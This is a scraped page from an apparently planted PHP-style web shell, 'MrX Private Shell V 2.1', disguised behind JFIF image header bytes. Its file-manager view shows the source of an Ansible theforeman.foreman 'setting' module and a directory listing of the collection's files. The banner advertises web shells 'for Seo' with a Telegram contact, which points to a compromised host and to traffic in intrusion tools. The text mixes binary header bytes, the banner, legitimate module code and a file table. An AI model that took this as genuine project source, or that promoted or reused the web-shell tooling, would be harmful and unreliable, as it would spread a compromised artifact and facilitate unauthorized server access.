����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
# (c) 2018 Matthias M Dellweg (ATIX AG)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from __future__ import absolute_import, division, print_function
__metaclass__ = type
DOCUMENTATION = '''
---
module: setting
version_added: 1.0.0
short_description: Manage Settings
description:
- Manage Settings
author:
- "Matthias M Dellweg (@mdellweg) ATIX AG"
options:
name:
description:
- Name of the Setting
required: true
type: str
value:
description:
- value to set the Setting to
- if missing, reset to default
required: false
type: raw
notes:
- To obtain a list of possible settings for your installation, use the M(theforeman.foreman.setting_info) module
or the C(hammer settings list) command and look for the C(name) attribute.
- The web interface by default shows the C(full_name) attribute, which can't be used with this module.
extends_documentation_fragment:
- theforeman.foreman.foreman
'''
EXAMPLES = '''
- name: "Set a Setting"
theforeman.foreman.setting:
username: "admin"
password: "changeme"
server_url: "https://foreman.example.com"
name: "http_proxy"
value: "http://localhost:8088"
- name: "Reset a Setting"
theforeman.foreman.setting:
username: "admin"
password: "changeme"
server_url: "https://foreman.example.com"
name: "http_proxy"
'''
RETURN = '''
foreman_setting:
description: Created / Updated state of the setting (deprecated)
returned: success
type: dict
entity:
description: Final state of the affected entities grouped by their type.
returned: success
type: dict
contains:
settings:
description: List of settings.
type: list
elements: dict
'''
from ansible_collections.theforeman.foreman.plugins.module_utils.foreman_helper import ForemanStatelessEntityAnsibleModule, parameter_value_to_str
class ForemanSettingModule(ForemanStatelessEntityAnsibleModule):
pass
def main():
module = ForemanSettingModule(
foreman_spec=dict(
name=dict(required=True),
value=dict(type='raw'),
),
)
with module.api_connection():
entity = module.lookup_entity('entity')
if 'value' not in module.foreman_params:
module.foreman_params['value'] = entity['default'] or ''
settings_type = entity['settings_type']
new_value = module.foreman_params['value']
# Allow to pass integers as string
if settings_type == 'integer':
new_value = int(new_value)
module.foreman_params['value'] = parameter_value_to_str(new_value, settings_type)
old_value = entity['value']
entity['value'] = parameter_value_to_str(old_value, settings_type)
entity = module.ensure_entity('settings', module.foreman_params, entity, state='present')
if entity:
# Fake the not serialized input value as output
entity['value'] = new_value
module.exit_json(foreman_setting=entity)
if __name__ == '__main__':
main()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| activation_key.py | File | 16.46 KB | 0644 |
|
| architecture.py | File | 3.15 KB | 0644 |
|
| auth_source_ldap.py | File | 6.71 KB | 0644 |
|
| bookmark.py | File | 4.19 KB | 0644 |
|
| compute_attribute.py | File | 4.59 KB | 0644 |
|
| compute_profile.py | File | 7.7 KB | 0644 |
|
| compute_resource.py | File | 14.31 KB | 0644 |
|
| config_group.py | File | 2.48 KB | 0644 |
|
| content_credential.py | File | 2.62 KB | 0644 |
|
| content_export_info.py | File | 4.55 KB | 0644 |
|
| content_export_library.py | File | 3.59 KB | 0644 |
|
| content_export_repository.py | File | 3.28 KB | 0644 |
|
| content_export_version.py | File | 4.35 KB | 0644 |
|
| content_upload.py | File | 8.35 KB | 0644 |
|
| content_view.py | File | 11.42 KB | 0644 |
|
| content_view_filter.py | File | 10.21 KB | 0644 |
|
| content_view_filter_info.py | File | 2.36 KB | 0644 |
|
| content_view_filter_rule.py | File | 10.88 KB | 0644 |
|
| content_view_filter_rule_info.py | File | 2.81 KB | 0644 |
|
| content_view_info.py | File | 2.1 KB | 0644 |
|
| content_view_version.py | File | 10.81 KB | 0644 |
|
| content_view_version_info.py | File | 2.44 KB | 0644 |
|
| discovery_rule.py | File | 3.92 KB | 0644 |
|
| domain.py | File | 2.92 KB | 0644 |
|
| domain_info.py | File | 2.04 KB | 0644 |
|
| external_usergroup.py | File | 3.79 KB | 0644 |
|
| global_parameter.py | File | 4.9 KB | 0644 |
|
| hardware_model.py | File | 2.65 KB | 0644 |
|
| host.py | File | 18.48 KB | 0644 |
|
| host_collection.py | File | 2.6 KB | 0644 |
|
| host_errata_info.py | File | 3.32 KB | 0644 |
|
| host_info.py | File | 2.02 KB | 0644 |
|
| host_power.py | File | 4.16 KB | 0644 |
|
| hostgroup.py | File | 6.79 KB | 0644 |
|
| hostgroup_info.py | File | 2.09 KB | 0644 |
|
| http_proxy.py | File | 3.11 KB | 0644 |
|
| image.py | File | 3.93 KB | 0644 |
|
| installation_medium.py | File | 5.12 KB | 0644 |
|
| job_invocation.py | File | 6.65 KB | 0644 |
|
| job_template.py | File | 14.94 KB | 0644 |
|
| lifecycle_environment.py | File | 3.52 KB | 0644 |
|
| location.py | File | 4.09 KB | 0644 |
|
| operatingsystem.py | File | 7.33 KB | 0644 |
|
| organization.py | File | 3.19 KB | 0644 |
|
| organization_info.py | File | 2.13 KB | 0644 |
|
| os_default_template.py | File | 4.34 KB | 0644 |
|
| partition_table.py | File | 9.47 KB | 0644 |
|
| product.py | File | 4.04 KB | 0644 |
|
| provisioning_template.py | File | 11.04 KB | 0644 |
|
| puppet_environment.py | File | 2.29 KB | 0644 |
|
| puppetclasses_import.py | File | 3.93 KB | 0644 |
|
| realm.py | File | 2.59 KB | 0644 |
|
| redhat_manifest.py | File | 11.24 KB | 0644 |
|
| repository.py | File | 13.16 KB | 0644 |
|
| repository_info.py | File | 2.76 KB | 0644 |
|
| repository_set.py | File | 11.91 KB | 0644 |
|
| repository_set_info.py | File | 2.92 KB | 0644 |
|
| repository_sync.py | File | 2.52 KB | 0644 |
|
| resource_info.py | File | 4.99 KB | 0644 |
|
| role.py | File | 4.38 KB | 0644 |
|
| scap_content.py | File | 3.36 KB | 0644 |
|
| scap_tailoring_file.py | File | 3.44 KB | 0644 |
|
| scc_account.py | File | 5.67 KB | 0644 |
|
| scc_product.py | File | 3.64 KB | 0644 |
|
| setting.py | File | 3.56 KB | 0644 |
|
| setting_info.py | File | 2.03 KB | 0644 |
|
| smart_class_parameter.py | File | 10.45 KB | 0644 |
|
| smart_proxy.py | File | 6.02 KB | 0644 |
|
| snapshot.py | File | 5.07 KB | 0644 |
|
| snapshot_info.py | File | 2.47 KB | 0644 |
|
| status_info.py | File | 1.98 KB | 0644 |
|
| subnet.py | File | 8.91 KB | 0644 |
|
| subnet_info.py | File | 2.05 KB | 0644 |
|
| subscription_info.py | File | 2.22 KB | 0644 |
|
| subscription_manifest.py | File | 4.97 KB | 0644 |
|
| sync_plan.py | File | 5.86 KB | 0644 |
|
| templates_import.py | File | 6.1 KB | 0644 |
|
| user.py | File | 11.06 KB | 0644 |
|
| usergroup.py | File | 3.04 KB | 0644 |
|